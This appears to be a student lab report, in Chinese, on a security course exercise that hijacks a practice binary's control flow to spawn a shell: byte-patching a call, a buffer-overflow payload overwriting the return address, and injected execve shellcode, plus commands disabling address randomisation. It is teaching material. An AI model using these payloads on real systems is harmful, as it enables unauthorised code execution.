当前位置: 首页 > news >正文

20232403 2025-2026-1 《网络与系统攻防技术》实验一实验报告

20232403 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

本次实验围绕一个pwn20232403,通过三种不同的方式,调用getShell函数。包括直接修改可执行文件本身、利用foo函数中的缓冲区溢出漏洞和注入一段精简的Shellcode。这三种方法由浅入深,从直接修改到漏洞利用,再到代码注入,完整展现了二进制安全攻防的核心思想。

2.实验过程

(1)实践一 改变程序执行流程,直接跳转到getShell函数

下载目标文件pwn1,更名,反汇编。

objdump -d pwn20232403 | more
结果如下:
1
不难发现,其中有一行"call 8048491 ",这是关键,实际上是main函数在调用别的函数,对应的机器指令为“e8 d7 ff ff ff”,其中call操作对应e8。
现在,我们希望让main函数调用getshell,那么就需要将跳转地址改为getshell的地址补码,即“c3”。

创建副本,在副本中进入vi,并搜索e8 d7,结果如下:

2

修改d7为c3:

3

退出vi后查看副本反汇编,果然,修改后调用函数发生变化:

4

运行改后的代码:

5

实践一成功

(2)实践二 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

反汇编pwn20232403

1
2
观察到,我们想要调用的是getshell函数,而main函数调用的是foo函数,但是这个函数没有进行缓冲区检测,有缓冲区漏洞,利用这个漏洞可以尝试覆盖返回地址。
现在的首要任务是确认输入多少字符可以覆盖地址
3
可以看到,当我们输入1111111122222222333333334444444455555555这一串字符时,EIP的ASCII码对应值为5555
我们将字符5修改,输入1111111122222222333333334444444412345678
4

这里可以观察到两点

第一,EIP的ASCII码对应值为1234,说明输入的1234那里会覆盖返回地址。
第二,EIP中实际存储并非31323334,而是34333231,说明存储方式是小端序,因此我们输入getshell地址也应为小端序。

构造输入字符串

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
其中\x0a为回车
结果如下:
7
8
成功调用getshell

实践二成功

(3)实践三 注入一个自己制作的shellcode并运行这段shellcode。

首先,对pwn文件进行设置

设置堆栈可执行并关闭地址随机化

5d45221039476860b9e2a5f500ad9181
7dccc30de17d7f38ad1b35fa794e4ebf

构造payload。

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

注入攻击buf,另开一终端进行gdb调试

eca5a440c516e95dfeb002ed7f3c50dc
978a6209cb1b133515d063e6bc28bf11
01020304为返回地址的位置,为ffffcf6c

根据已知重新构造payload。

perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x50\xcf\xff\xff\x00"' > input_shellcode
5abcd9b0f76721ac1e6e24b2268cb0f4
运行shellcode,成功

实践三成功

3.问题及解决方案

  • 问题1:
    ┌──(kali㉿xiangyang)-[~/Desktop]
    └─$ ./pwn20232403a
    zsh: 权限不够: ./pwn20232403a
  • 问题1解决方案:
    添加执行权限
    chmod +x pwn20232403a
    ./pwn20232403a
  • 问题2:
    ┌──(kali㉿xiangyang)-[~/Desktop]
    └─$ execstack -s pwn20232403
    Failed to read program header
  • 问题2解决方案:
  1. 设置堆栈可执行
    sudo patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 pwn1
  2. 检查堆栈权限
    readelf -l pwn1 | grep -A1 -B1 STACK
  3. 关闭地址随机化
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
  4. 验证
    cat /proc/sys/kernel/randomize_va_space

4.学习感悟、思考等

通过本次实验,我对二进制程序的安全机制和攻击方法有了更深入的理解。我认识到可执行文件在不进行安全保护的情况下是十分脆弱的。作为安全学习者,我不仅需要掌握攻击技术以理解漏洞本质,更要树立安全编程意识,从源头减少漏洞的产生。

http://www.gsyq.cn/news/19923.html

相关文章:

  • 2025 年快速退火炉优质厂家最新推荐榜单:真空 / 半导体 / 晶圆 / 高温 / 桌面 / 半自动 / 全自动 / 芯片 / 硅片 / RTP 设备企业核心竞争力全面解析
  • 2025 年窗帘品牌最新推荐权威排行榜:精准剖析各品牌优势,定制 / 设计领先 / 家居等多类型窗帘优选母婴/遮光/智能/蕾丝/百叶/阳台/隔音/卷帘窗帘厂家推荐
  • 2025 年最新推荐!停车场系统厂商榜单重磅发布,涵盖管理 / 收费 / 无人值守 / 道闸 / 车牌识别系统优质服务商
  • oo
  • 实用指南:20250926的学习笔记
  • 2026 NOI 做题记录(六)
  • WPF 通过RawInput获取系统全局触摸事件
  • chmod只修改文件或者只修改目录权限
  • 深入解析:246-基于Django的美食菜谱数据分析推荐系统
  • PhotoShop网页版在线为图片加文字,制作个性海报教程
  • 实用指南:构建神经网络的两大核心工具
  • 简单高效的SQL注入测试方法:Break Repair技巧详解
  • 实用指南:Qt 界面优化 --- QSS
  • 【GitHub每日速递 251013】SurfSense:可定制AI研究神器,连接多源知识,功能超丰富!
  • FileZilla Client升级之后报了一个错误queue.sqlite3文件保存失败
  • tap issue
  • 3.6 策略优化(TRPO 与 PPO)
  • 20232325 2025-2026-1 《网络与系统攻防技术》实验一实验报告
  • 【光照】UnityURP[天空盒]原理与[动态天空盒]实现
  • Hadoop概念以及安装
  • Hadoop--yarn
  • AI元人文构想框架体系
  • [DAX/数据分析表达式/Power BI] DAX 查询视图语言 = `Data Analysis eXpressions`(数据分析表达式) = 编程式数据分析语言
  • Hadoop--HDFS
  • 20232307 2025-2026-1 《网络与系统攻防技术》实验一
  • 乐理 -05 乐音 乐级
  • Redis实现分布式锁以及Redis客户端比较
  • Redis不同数据类型代码场景实践
  • 提示工程介绍
  • 全面适配iOS 26液态玻璃,基于开源IM即时通讯框架MobileIMSDK:RainbowChat-iOS端v10.2发布